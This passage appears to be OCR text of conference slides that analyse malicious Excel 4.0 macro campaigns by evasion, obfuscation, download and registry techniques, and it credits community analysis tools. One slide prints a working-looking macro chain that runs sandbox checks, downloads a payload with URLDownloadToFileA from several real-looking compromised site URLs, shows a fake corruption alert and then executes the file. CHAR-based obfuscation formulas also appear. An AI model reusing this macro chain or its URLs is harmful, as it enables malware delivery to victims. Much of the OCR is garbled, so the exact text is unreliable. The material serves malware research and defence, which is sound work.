15| FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE




Evasion Techniques Breakdown o

Screen Month 10+ Single

Dimensio Cell White Cells Download Day of Sub + [Macroshe [Hidden [Hidden [Maximize [Step

Cluster|Mouse Audio OS ns Font Size |[Height Font Scattered |Size "LOS" "C" Month Sub [Div ets Names Window |d Window|Mode
I TRUE | TRUE | TRUE | FALSE | FALSE | FALSE || FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
A tRue | TRuUE 1 | SE || TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
o] FALSE | FALSE II Env Checks EVO  |s: || racse FALSE | FALSE | FALSE | FALSE | FALSE | FALSE| FALSE | FALSE | FALSE | FALSE | FALSE
Jd true | tRue | | SE [| TRUE | FALSE | FALSE | TRUE | FALSE | peisimimmimiim—imm————————— A\ SE | FALSE
o true | tRue | True | True | Faise | Faise || Faise | Faise | Faise | true | racse | JFIF(GET.WORKSPACE(13)..CLOSE(TRUE)) |4 s | raise
4 TRUE | TRUE | TRUE | TRUE | FALSE | FALSE [| TRUE | FALSE | FALSE | FALSE | TRUE =GET.WORKSPACE(13) ALSE | FALSE
5| TRUE | TRUE | FALSE | TRUE | FALSE | FALSE [} FALSE | FALSE | TRUE | FALSE | FALSE | =GET.WORKSPACE(14) ALSE | FALSE
5§ TRUE | TRUE | TRUE | TRUE - T}O{ =IF(B2<770, CLOSE(FALSE).) ALSE | FALSE
| [y e, p———p— :lF(GET.WORKSPACE(19)..CLOSE(TRUE)) T =|F(B3<381, CLOSE(FALSE).) ot | FaLoe
FALSE | FALSE | FALSE | FALSE :I_f':(_GETH\{\f(_)RK§EéCE(4ZV)_CLOEE(TRUER NLSE =IF(GET.WORKSPACE(42), .CLOSE(TRUE)) [ st | rFaLse
true | TrRuE | TrRUE | TRUE | Faise | Faise || Faise | Faise | Faise | Faise | Fadse ws), : —JALSE | FALSE
6] TRUE | TRUE | TRUE | TRUE | FALSE | FALSE [I FALSE | FALSE | TRUE | FALSE FALSE
ol true | TrRue | True | True | Faise | Fatse || Facse | Fatse | True | Faise [FFORMULA(1265/GET.CELL(19,A1)-GET CELL(17,A1) F153) FALSE
7] TRUE | TRUE | TRUE | TRUE | TRUE | TRUE || FALSE | FALSE | TRUE | FALSE |[FAPP.MAXIMIZE() FALSE
gl TRUE | TRUE | TRUE | TRUE | TRUE | TRUE || FALSE | FALSE | TRUE | FALSE =FORMULA(CHAR(A41/F153)&CHAR(A42/F153)&CH) || FALSE
8] TRUE | TRUE | TRUE | TRUE | TRUE | TRUE [l FALSE | FALSE | TRUE | FALSE ~FORMULA(CHAR(C43/F153) &CHAR(CA4/F153) &CH/ FALSE
8] TRUE | TRUE | TRUE | TRUE | TRUE | TRUE [l FALSE | FALSE | TRUE | FALSE FALSE
8] TRUE | TRUE | TRUE | TRUE | TRUE | TRUE [l FALSE | FALSE | TRUE | FALSE =FORMULA(CHAR(D41/F153) &CHAR(D42/F153) &CHy FALSE
FALSE | FaLsE | FaLse | Faise | Faise | Fatse || TrRue | TruE | Faise | FaLse [FGOTO(B6) FALSE

9] TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | TRUE FALSE FALSE FALSE FALSE
1OI TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE FALSE
11I TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE TRUE TRUE TRUE
12 TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE TRUE TRUE TRUE
13] TRUE TRUE TRUE TRUE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE FALSE TRUE TRUE
14] TRUE TRUE TRUE TRUE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE FALSE FALSE FALSE

15| FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
e




Obfuscation Techniques Breakdown
q Integer per Neg Float per [Multi

Cluster Single CHAR Nested CHARsS |CHAR ptgSub |[CHAR ptgAdd [CHAR ptgDiv |[CHAR ptgRef [RUNS CONCATENATE |& Cell Float per Cell |Cell SET.VALUE
1 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
1 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
2 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
2 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
3 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
4 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
5 TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
5 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
5 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE
FALSE FALSE TRUE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE FALSE FALSE

TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE

6 TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
6 TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
7 FAL TRUE T FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE
8 FALSR TRUE T CHAR EVO FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE
8 FALSE \\ TRUE F TRUE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE
8 FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE
8 FALSE TRUE TRUE FALSE FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE
FALSE FALS TRUE FALSE FALSE TRUE TRUE TRUIF = il FALSE FALSE FALSE

9 FALSE FALSE TRUE FALSE FALSE TRUE TRUE Control FIOW FALSE FALSE FALSE
10 FALSE TRUE TRUE FALSE FALSE ﬁ_TRUE TRUE TRUE TROC FALOL FALSE FALSE TRUE
11 FALSE TRUE FALSE \H!!Bg_ TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
12 FALSE TRUE FALSE FALSE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
13 FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE TRUE FALSE FALSE FALSE FALSE
14 FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE FALSE
15 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE




Obfuscation Techniques Breakdown

Integer per Neg Float per |Multi
Cluster Single CHAR Nested CHARs |CHAR ptgSub |CHAR ptgAdd |CHAR ptgDiv |CHAR ptgRef |RUNSs CONCATENATE |& Cell Float per Cell |Cell SET.VALUE
1 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE

=FORMULA.FILL(CHAR(IK57272/FR64403) &CHAR(1S45180*FB4036)&CHAR(EZ31173/DX25475) &CHAR(HR10376-CU24232) & CHAR(HJ553*IM9840) &CHAR(1S45180-A036567) &
CHAR(GD48466+FZ47501) &CHAR(W19343+HQ55194) &CHAR(FR37915/1H43635) &CHAR(DT54927+HW59809) &CHAR(AR2656%108497) &CHAR(BD9191*H129738) &CHAR(HJ553/
CS27684)&CHAR(GD43466+BH10795)&CHAR(GW47495/A056989) &CHAR(GD48466+FG32046) &CHAR(HS33644*EB34616)&CHAR(BG17012+1B22980) &CHAR(FR37915+AJ53511) &
CHAR(HN43857/CW45769)&CHAR(BD9191*FES001) &CHAR(G D48466+BJ7122),HR64091)|

4 FALSE FALSE FALSE FALSE FALSE FALSE FalLSE FALSE FALSE FALSE FALSE FALSE FALSE
5 TRUE FALSE FALSE FALSE "CHAR(70) SE A:LSE FALSE TRUE FALSE FALSE FALSE FALSE
5 FALSE FALSE FALSE FALSE l‘CHAR(40) | SE // FALSE FALSE FALSE FALSE FALSE FALSE FALSE
5 FALSE FALSE FALSE FALSE =CHAR(71) LSE/ FALSE FALSE FALSE FALSE FALSE FALSE FALSE

FALSE FALSE TRUE FALSE :CHAR(GQ) éE TRUE TRUE FALSE FALSE FALSE FALSE FALSE

TRUE FALSE FALSE FALSE =CHAR(84) |Lst FALSE FALSE TRUE FALSE FALSE FALSE FALSE
6 TRUE FALSE FALSE FALSE =CHAR(46) | FALSE FALSE TRUE FALSE FALSE FALSE FALSE
6 TRUE FALSE FALSE FALSE &SE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
7 FALC TRUE T FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE
8 FALSE TRUE i1 CHAR Evo FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE

N

8 FALSE N TRUE F TRUE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE
8 FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE
8 FALSE TRUE TRUE FALSE FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE

FALSE FALS TRUE FALSE FALSE TRUE TRUE TRUF — i FALSE FALSE FALSE
9 FALSE FALSE TRUE FALSE FALSE TRUE TRUE Control Flow FALSE FALSE FALSE
10 FALSE TRUE TRUE FALSE FALSE A TRUE TRUE TRUE TROT FRCSE FALSE FALSE TRUE
11 FALSE TRUE FALSE | —PwesE_ TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
12 FALSE TRUE FALSE FALSE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
13 FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE TRUE FALSE FALSE FALSE FALSE
14 FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE FALSE
15 FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE




Download Techniques Breakdown System Modifications Breakdown

Cluster DCONN URLDownloadToFile - -
1 TRUE FALSE Cluster I:F”*LOFM Registry Operations
1 TRUE FALSE 1 FALSE FALSE
2 TRUE FALSE 1 FALSE FALSE
2 TRUE FALSE 2 FALSE FALSE
3 TRUE FALSE 2 FALSE FALSE
4 TRUE FALSE 3 FALSE FALSE
5 FALSE TRUE 4 FALSE FALSE
5 TRUE FALSE 5 FALSE FALSE
5 TRUE FALSE 5 FALSE FALSE
2nd Stage FALSE TRUE 5 FALSE FALSE
FALSE TRUE FALSE FALSE
Download 6 FALSE TRUE = FALSE
Evo 6 FALSE TRUE 6 TRUE TRUE
7 FALSE TRUE 6 FALSE FALSE
8 FALSE TRUE 7 TRUE TRUE
8 FALSE TRUE 8 TRUE TRUE
8 FALSE TRUE 8 ERE ENE
8 FALSE TRUE = e S
8 TRUE TRUE
T Fare —
10 FALSE TRUE 2 EaE E SEL
B FALSE TRUE 10 S S
12 FALSE TRUE il =D L
13 FALSE TRUE 12 LLC IROE
T i e
L2 el MROE 15 FALSE FALSE
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Download Techniques Breakdown System Modifications Breakdown

Cluster DCONN URLDownloadToFile . .
1 TRUE FALSE Cluster FIE S Registry Operations
1 TRUE FALSE it PR 1 FALSE FALSE
2 TRUE FALSE onnection Froperties ] FALSE FALSE
2 TRUE FALSE | connection pame: |Connection 2 FALSE FALSE
3 TRUE FALSE | pescription: 2 FALSE FALSE
4 TRUE FALSE 3 FALSE FALSE
5 FALSE TRUE Usage 4 FALSE FALSE
5 TRUE FALSE e Wb ees 5 FALSE FALSE
5 TRUE FALSE _ 5 FALSE FALSE
2nd Stage FALSE BRRE || Connecton e | N 5 FALSE FALSE
FALSE TRUE Always use connection file FALSE FALSE
Down Ioad 6 FALSE TRUE Connection string: | https: //merystol.xyz/DVkibsdv37 FALSE FALSE
Evo 6 FALSE TRUE 6 TRUE TRUE
7 FALSE TRUE 6 FALSE FALSE
8 FALSE TRUE 7 TRUE TRUE
8 FALSE TRUE - - — —
3 —iE TRUE '=IF(GET. WORKSPACE(19)..CLOSE(TRUE))
=GET.WORKSPACE(13
8  FALSE MRUE :=GET.WORKSPACE(14;
FALSE TRUE 4\ =IF(B2<770, CLOSE(FALSE),)
9 FALSE TRUE 5 \=IF(B3<381, CLOSE(FALSE),)
10 FALSE TRUE 6 ¥IF(GET.WORKSPACE(42), CLOSE(TRUE))
1 FALSE TRUE 7 AGET.WORKSPACE(26)
12 FALSE TRUE 8 |= C:\Users\"&B7&" AppData\l ocal\Temp\"&CHAR(RANDBETWEEN(97.122))&CHAR(RANDBETWEEN
13 FALSE TRUE 9 FCALL "‘urlmon"tURLDowr_wloadT oFileA],"JJCCUJ",0, http://cnbjobs.com/fa-content/uploads/2020/03/gy
1 FALSE TRUE 10 FIF(B9<0, CALL("urlmon”,"URLDownloadToFileA","JJCCJJ",0, " http://devweb2019 fr/wp-content/upload
11 |FIF(B10<0, CALL("urimon”,"URLDownloadToFileA”,"JJCCJJ", 0, http://auto-mento_hu/wp-content/uploa
15 FALSE TRUE 12 |FIF(B11<0, CALL("urimon","URLDownloadToFileA”,"JUCCJJ" 0. "http-//minokala.ir/wp-content/uploads/
13 =TF(B12<0, CLOSE(FALSE),)
14 =ALERT("The workbook can't be opened or repaired by Microsoft Excel because it is corrupt.”,2)
15 =EXEC(BS)
16 =CLOSE(FALSE)
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Common Functions Breakdown Macro sheets Breakdown
Cluster Hidden VeryHidden

Cluster [FORMULA [FORMULAFILL |GOTO |CALL  |[REGISTER |EXEC 1 — FALSE

1| FALSE TRUE FALSE| FALSE | FALSE | FALSE 1 — Lot

1| FALSE TRUE FALSE| FALSE | FALSE | FALSE . FALsE —

2| FALSE FALSE FALSE| FALSE | FALSE | FALSE . — Aok

2| FALSE TRUE FALSE| FALSE | FALSE | FALSE 3 ALoE p—

3| FALSE TRUE FALSE| FALSE | FALSE | FALSE " = —

4| TRUE FALSE TRUE | FALSE | FALSE [ FALSE - FALoE .

5| FALSE FALSE TRUE | FALSE | FALSE TRUE . = —

5| TRUE FALSE TRUE | FALSE | FALSE [ FALSE . = —

5| TRUE FALSE TRUE | FALSE | FALSE [ FALSE Hidden vs ALE —

FALSE FALSE FALSE| TRUE | FALSE | FALSE ] ALE —

TRUE FALSE FALSE| TRUE | FALSE | FALSE VeryHidden : — —

6| TRUE FALSE FALSE| TRUE | FALSE | FALSE : S SN

6| TRUE FALSE TRUE | TRUE | FALSE [ FALSE = S —

7 _TRUE FALSE TRUE | TRUE | FALSE [ FALSE s S —

8| TRUE FALSE TRUE | TRUE | FALSE [ FALSE s S e

8| TRUE FALSE TRUE | TRUE | FALSE [ FALSE . N e

8| TRUE FALSE TRUE | TRUE | FALSE [ FALSE : e m——

8| TRUE FALSE TRUE | TRUE | FALSE [ FALSE m—— S

TRUE FALSE FALSE| TRUE | FALSE | FALSE : — SR

o TRUE FALSE FALSE| TRUE | FALSE | FALSE = m— SR

10| FALSE TRUE TRUE | TRUE | FALSE [ FALSE » R N

1| FALSE TRUE TRUE | TRUE | FALSE | FALSE > N N

12| FALSE TRUE TRUE | TRUE | FALSE [ FALSE = — ENEE

13| TRUE TRUE FALSE | FALSE | FALSE TRUE ” — EAEE

14| FALSE FALSE FALSE | FALSE | TRUE FALSE e CALSE —
15| FALSE FALSE FALSE| FALSE | FALSE TRUE
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Cluster Hidden \VeryHidden
Cluster [FORMULA [FORMULAFILL [cOTO [cALL  [REGISTER [EXEC ; — e
1| FALSE TRUE FALSE| FALSE | FALSE FALSE ’ — S
1 EFALSE TRUE FALSE| FALSE | FALSE FALSE 5 e p—
2| FALSE FALSE FALSE| FALSE | FALSE FALSE 2 p— S
2| FALSE TRUE FALSE| FALSE | FALSE FALSE E S p—
3| FALSE TRUE FALSE| FALSE | FALSE FALSE P W m——
4l TRUE FALSE TRUE | FALSE | FALSE FALSE - e m—
5| FALSE FALSE TRUE | FALSE | FALSE TRUE - e TRUE
5| TRUE FALSE TRUE | FA| et — - CALoE —
5| TRUE FALSE TRUE | FAL Insert Hidden vs SiliE —
FALSE FALSE FALSE| TR( ER Delete
ll x VeryHidden FALSE TRUE
TRUE FALSE FALSE| TR i 6 FALSE TRUE
6| TRUE FALSE FaLse| TRl 6 FALSE TRUE
- AL R Move or Copy
‘ . 7 FALSE TRUE
17 Insert... QJ View Code s FALSE TRUE
18 L')J Delete % Protect Sheet... 8 EALSE TRUE
19| Rename Tab . 8 FALSE TRUE
20 Move or Copy... Hidden 8 FALSE TRUE
2 &l View Code 2o TRUE FALSE
j i 9 TRUE FALSE
| VeryHidden _ Select All Sheets 10 TRUE FALSE
TRY Sheeixr oneewz e Tl 1 FALSE FALSE
!_mJC
TR 12 FALSE FALSE
| fue | TRUE FALSE FALSE 3 TRUE FALSE
| select Allsheets |SE| FALSE | FALSE TRUE > TRUE FALSE
4 4 » M| Sheetl 7 ¥J Lse| FaLse [ TRUE FALSE = Al —UE
Ready | SE| FALSE | FALSE TRUE
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Conclusions
For now...

The Bad

« XL4 Macros are here to stay (even though we saw a drop in malicious samples)
« Easy to use, easy to “complicate”, easy to slow down reversing and triage

The Good

« Tools have been updated, and they can now be used to automate response
« Waves of false negatives in VirusTotal have become increasingly rare

The Ugly

« Too many legacy features are still not deprecated or just “deprecated in spirit”
« .. What is going to be the next “legacy feature”?
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Shout Outs!

Research possible only because of contributions from the community

To name a few:
@JohnLaTwc
@D1issectMalware - xlmdeobfuscator
@InQuest
@BouncyHat - macrome

@DidierStevens — plugin_biff, oledump

@outflanknl
@decalage2 - olevba, oletools
@jcarndt
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Thank You

Any questions?
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